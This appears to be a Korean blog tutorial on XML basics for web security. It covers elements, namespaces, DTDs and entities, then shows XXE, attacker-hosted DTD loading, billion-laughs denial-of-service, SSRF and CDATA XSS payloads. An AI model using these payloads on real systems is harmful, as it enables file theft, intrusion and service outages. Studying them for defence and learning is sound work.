[web] About XML
Introduction
web에 필요한 최소한의 xml 지식을 정리했다.
XML
XML(Extensible Markup Language)은 데이터를 저장하고 전송하기 위한 마크업 언어로, HTML과 유사하지만 데이터 구조를 정의하는 데 중점을 둔다. XML의 큰 특징은 데이터의 구조화와 확장성이다.
<note>
<to>you</to>
<from>zirajs</from>
<heading>Note</heading>
<body>XML it is</body>
</note>
위처럼 데이터를 계층 구조를 통해서 나타낼 수 있고, to
, from
, heading
, body
외의 태그를 추가하더라도 유효한 XML이라는 확장성을 갖는다.
이제 XML의 문법적 특징으로 바로 넘어가고자 한다.
Attribute vs Element
XML에서는 데이터를 표현할 때 속성(attribute)과 요소(element)를 사용할 수 있다. 속성은 태그 내에 정의되며, 요소는 별도의 태그로 정의된다.
<!-- This is an element -->
<note>
<element>value</element>
</note>
<!-- This is an attribute -->
<note attribute="value">
</note>
NameSpace
XML에서 네임스페이스는 XML 문서 내에서 태그 이름의 충돌을 방지하기 위해 사용된다. 네임스페이스는 URI를 사용하여 정의되며, 태그 이름 앞에 접두사를 붙여서 사용한다.
<!-- Define a namespace -->
<!-- The syntax is xmlns:prefix="URI" -->
<note xmlns:example="http://www.example.com">
<!-- Use the namespace -->
<!-- The syntax is prefix:tagname -->
<example:to>you</example:to>
<example:from>zirajs</example:from>
<example:heading>Note</example:heading>
<example:body>XML it is</example:body>
<comment example:date="2025-0805">Attribute can be defined over namespace</comment>
</note>
DTD
DTD(Document Type Definition)는 XML 문서의 구조를 정의하는 데 사용된다. DTD는 문서 내부에 작성할 수 있고, 문서 외부에서 작성한 후 불러오는 방식으로도 사용할 수 있다.
- 내부 DTD
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!-- #PCDATA는 Parsed Character Data의 약자로, 텍스트 데이터를 의미한다. -->
<note>
<to>you</to>
<from>zirajs</from>
<heading>Note</heading>
<body>XML it is</body>
</note>
- 외부 DTD
<!-- note.xml -->
<!DOCTYPE note SYSTEM "note.dtd">
...
<!-- note.dtd -->
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD Declarations
DTD에서 사용할 수 있는 선언은 아래와 같다.
선언 | 설명 |
---|---|
<!ELEMENT> | element의 이름과 구조 정의 |
<!ATTLIST> | element의 attribute 정의 |
<!ENTITY> | 엔티티를 정의 ☆ |
<!NOTATION> | 데이터의 해석 방식 정의 |
<!DOCTYPE> | DOCTYPE 정의 |
그리고 주로 ENTITY
가 xxe에서 주로 사용된다.
ENTITY
<!ENTITY>
선언은 XML 문서 내에서 재사용할 수 있는 문자열을 정의한다.
, &
등의 문자를 종종 보았을 것인데 이처럼 문서 내에서 재사용되는 문자열들을 정의할 수 있다.
- 내부 엔티티 선언
<!ENTITY username "zirajs">
기본적인 문법은 위와 같다. 그리고 정의한 엔티티는 &username;
과 같이 사용할 수 있다.
- 외부 엔티티 선언
<!ENTITY logo SYSTEM "https://example.com/logo.svg">
위처럼 외부에서 선언된 엔티티를 불러올 수도 있다.
Note.
SYSTEM
,PUBLIC
keyword
SYSTEM
,PUBLIC
키워드는 identifier로 외부 엔티티를 선언할시 어떻게 데이터를 가져올지 정의하는 역할을 한다.SYSTEM
: URI, File path를 통해서 데이터를 가져온다. 이를 이용하면 원하는 파일을 로드할 수 있으나 쉬운 문제들에서도 보통SYSTEM
은 막아둔다.
PUBLIC
: XML 문서의 Public Identifier를 통해서 데이터를 가져온다. 여기서 Public Identifier란 리소스의 고유한 식별자로-//Owner//Description//Language
형식으로 작성된다. 몇몇 공식적인 public id를 제외하고선 local에서 직접 정의해서 사용해야 한다.PUBLIC
의 문법에서 fallback을 제공하는데 이를 이용해서 외부 dtd를 불러올 수 있다.
- parameter 엔티티
<!ENTITY % logo "mylogo.svg">
<!ENTITY logo %logo;>
위와 같이 %
를 사용하여 parameter 엔티티를 정의할 수 있다.
%logo;
와 같이 사용하면 앞서 정의한 대로 mylogo.svg
로 대체된다.
- Nested 엔티티
<!ENTITY hello "Hello">
<!ENTITY message "&hello;, World!">
위처럼 nested 엔티티를 정의할 수 있다.
&message;
를 사용하면 Hello, World!
로 대체된다.
Exploiting Entities
xml injection에서 엔티티를 이용한 공격은 주로 외부 엔티티를 불러오거나, 내부 엔티티를 재정의하여 악의적인 데이터를 삽입하는 방식으로 이루어진다.
- External Entity Injection
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note>
<to>you</to>
<from>zirajs</from>
<heading>Note</heading>
<body>&xxe;</body>
</note>
위처럼 외부 엔티티를 불러와서 시스템 파일을 읽어오는 방식으로 공격할 수 있다.
- External Entity Injection with
PUBLIC
<!DOCTYPE note [
<!ENTITY % xxe PUBLIC "-//zirajs//DTD note//EN" "https://attacker.com/attack.dtd">
%xxe;
]>
<note>
<to>you</to>
<from>zirajs</from>
<heading>Note</heading>
<body>&xxe;</body>
</note>
위처럼 작성된 DTD에서는 PUBLIC이 "-//zirajs//DTD note//EN"에서 정의된 DTD를 읽는 것을 실패하고 fallback으로 정의된 https://attacker.com/attack.dtd
를 불러온다.
이렇게 하면 공격자가 정의한 DTD를 불러와서 악의적인 데이터를 삽입할 수 있다.
- DDOS
<!DOCTYPE note [
<!ENTITY a0 "ddos">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!-- and so on -->
]>
<note>
<to>you</to>
<from>zirajs</from>
<heading>Note</heading>
<body>&a100;</body>
</note>
위처럼 작성된 DTD에서는 parser가 &a100;
을 처리하기 위해서 계속 expanding하다가 메모리가 터지게 된다.
이러한 요청을 여러개를 날려 DDOS를 유발할 수 있다.
- SSRF
<!DOCTYPE note [
<!ENTITY remote SYSTEM "http://localhost:8080/veryimportantapi">
]>
<note>
<to>you</to>
<from>zirajs</from>
<heading>Note</heading>
<body>&remote;</body>
</note>
Local에서만 돌고 있는 Backend API를 호출하는 SSRF 공격도 가능하다.
CDATA
CDATA(Character Data)는 XML 문서 내에서 raw text를 그대로 표현할 수 있게 해주는 구문이다. 문제는 raw text를 그대로 표현할 수 있기 때문에 script를 injection할 수 있는 취약점이 될 수 있다.
<note>
<to>you</to>
<from>zirajs</from>
<heading>Note</heading>
<body><![CDATA[<script>alert('XSS');</script>]]></body>
</note>
만약 해당 CDATA부분이 html로 랜더링 된다면 xss 스크립트가 실행되어 alert 창이 뜰 것이다.
<xsl:copy-of select="/"/>
위처럼 xsl:copy-of
를 사용하여 CDATA를 그대로 복사하는 경우가 취약한 상황이라고 할 수 있다.